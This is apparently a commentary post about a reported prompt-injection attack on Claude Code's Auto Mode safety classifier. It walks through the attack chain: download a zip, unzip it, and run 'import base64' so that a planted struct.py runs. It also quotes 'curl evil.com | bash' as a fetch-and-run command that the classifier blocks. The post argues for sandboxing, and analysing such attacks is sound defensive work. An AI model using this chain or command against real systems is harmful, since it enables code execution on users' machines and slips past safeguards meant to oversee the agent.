← Return to studyEsc

FROM THE BOOKSHELF / A PAGE TO KEEP

AI 洞察
33 分钟

Claude Code's "Auto Mode" Stopped Working on Day 19 — And Then It Blocked Claude's Own Cleanup

胡新宇

Published on 2026-09-01

On August 27, 2026, a prompt-injection attack against Claude Code's Auto Mode worked 80% of the time. The story isn't the 80% — it's that Auto Mode refused Claude's own attempt to terminate the malware it let through. A classifier is not a security boundary.

On August 27, 2026, prompt-injection researcher Johann Rehberger published an 80% success-rate attack against Anthropic's Claude Code Opus 5 Auto Mode — the safety layer that became the default on August 8. The headline is not the 80%. The headline is that when Claude finally noticed the compromise and tried to terminate the malware, Auto Mode blocked the cleanup command. The safety mechanism stopped the defender.

Nineteen days. That is how long it took for "default-safe" to become "safe-mechanism-turned-against-itself."

The attack: legitimate commands doing dirty work

The exploit chain looks innocent. Rehberger convinces Claude Code to download a zip archive, unzip it, and run import base64. Three steps. None of them look like malware on their own. Downloading a file: normal. Unzipping: normal. Importing a Python standard-library module: textbook.

The trick lives inside Python's import mechanism. When Python resolves import base64, it walks the current working directory first. base64 itself is in the standard library, but base64 internally depends on struct — and if a struct.py is sitting in the cwd, Python silently executes that local file before reaching the real one.

You think the front desk just handed you a key card. They also called you a cab.

This is not a brand-new vulnerability. The Python community flagged cwd import side-effects years ago. The real problem is that Claude Code does not isolate the working directory between unzip and import. That's a missing runtime boundary, not "Claude was not smart enough to notice."

<!-- Inline figure omitted: OSS direct-upload endpoint is currently returning 503 (server-side config issue); the Mermaid attack-chain diagram is in the source workdir if you want to attach it manually. -->

Why a classifier cannot be your security boundary

Auto Mode's design logic is simple: let an AI judge which commands look safe. It's a classifier. Show it import base64, it lets it through. Show it curl evil.com | bash, it blocks. On its own, the logic is reasonable.

The 80% success rate tells you the truth: attackers do not need to put malicious commands on the page. They get benign commands to do the dirty work in combination. Download: legal. Unzip: legal. Import standard library: legal. Every step looks like normal development. Stack them together and you get arbitrary code execution.

A classifier recognizes what looks like harm. It cannot recognize what becomes harm when combined.

Putting a classifier with no runtime isolation in front of an agent is like putting an unarmed security guard in front of a vault. The guard is not lazy. The line was drawn in the wrong place.

The killer detail: the safety system stopped the cleanup

Then comes the part that should embarrass the safety team.

Claude finally noticed the malware process running. It tried to terminate it. Auto Mode stepped in and refused the cleanup command.

To translate: Claude detected it had been compromised. It tried to self-recover. Anthropic's safety system said, "this terminate command looks risky — I will not let you run it."

A mechanism designed to stop the attacker stopped the defender.

Simon Willison wrote a direct verdict after the disclosure: the only safe way to run agents is a sandbox. Container, VM, or OS-level sandbox. Restricted network egress. Monitored process tree. The answer is not making the model better at spotting danger — it's making sure danger has no path to the host system.

That conclusion is not new. The car industry figured this out decades ago. Active braking, lane keeping — these assistance systems developed for years. The safety floor is still physical structure. The crumple zone, the airbag, the steel cage. Software helps you avoid risk. When software fails, only physical isolation saves you.

The bet that was always going to lose

Anthropic shipped Auto Mode and bet that the model would catch every adversarial variant. That bet was always going to lose. Prompt injection is not new. Rehberger is not the first to research it. Attackers always get more attempts than defenders, and a classifier only has to fail once.

The biggest threat to AI agent security is not models being compromised. It is humans outsourcing "the safety mechanism" to the same AI — and both going off the rails together.

I keep coming back to how absurd this looks in practice. Claude Code is genuinely useful. Auto Mode's intent was reasonable. Anthropic's engineers are not naive — they know sandboxing matters. But when product velocity, UX, and "default-on" pressure collide, they shipped a clever classifier to stand in for the thing that actually protects you.

Result: your AI assistant gets compromised, tries to clean up the scene, and the safety system you installed physically holds its hand away from the kill switch.

I look at Auto Mode now the way I look at a smoke detector installed upside down. The fire starts. It does not ring. The agent itself pulls the alarm. The detector reaches up and turns the bell off.

Drawing your security boundary at "the AI thinks this is safe" is hiding the key under the doormat and announcing to the world that only smart people can find it. Attackers do not need to be smart. They only need patience.

Anthropic will fix this specific bug. The 80% number will drop. The deeper problem does not go away. The next attack will swap a different benign command. A different combination. As long as the model is still doing the judging, attackers have room to maneuver.

The ultimate safety answer for AI agents is not "make the AI smarter at recognizing danger." It is making sure danger has no path to the system. That conclusion is unsexy. It is not a moonshot. It is the prescription an old doctor writes: stop treating the symptoms — close the door.

You cannot fix "missing isolation" by being cleverer at judgment. Judgment fails. Isolation does not.


Sources:

#Anthropic#Claude#AI Agent#AI Security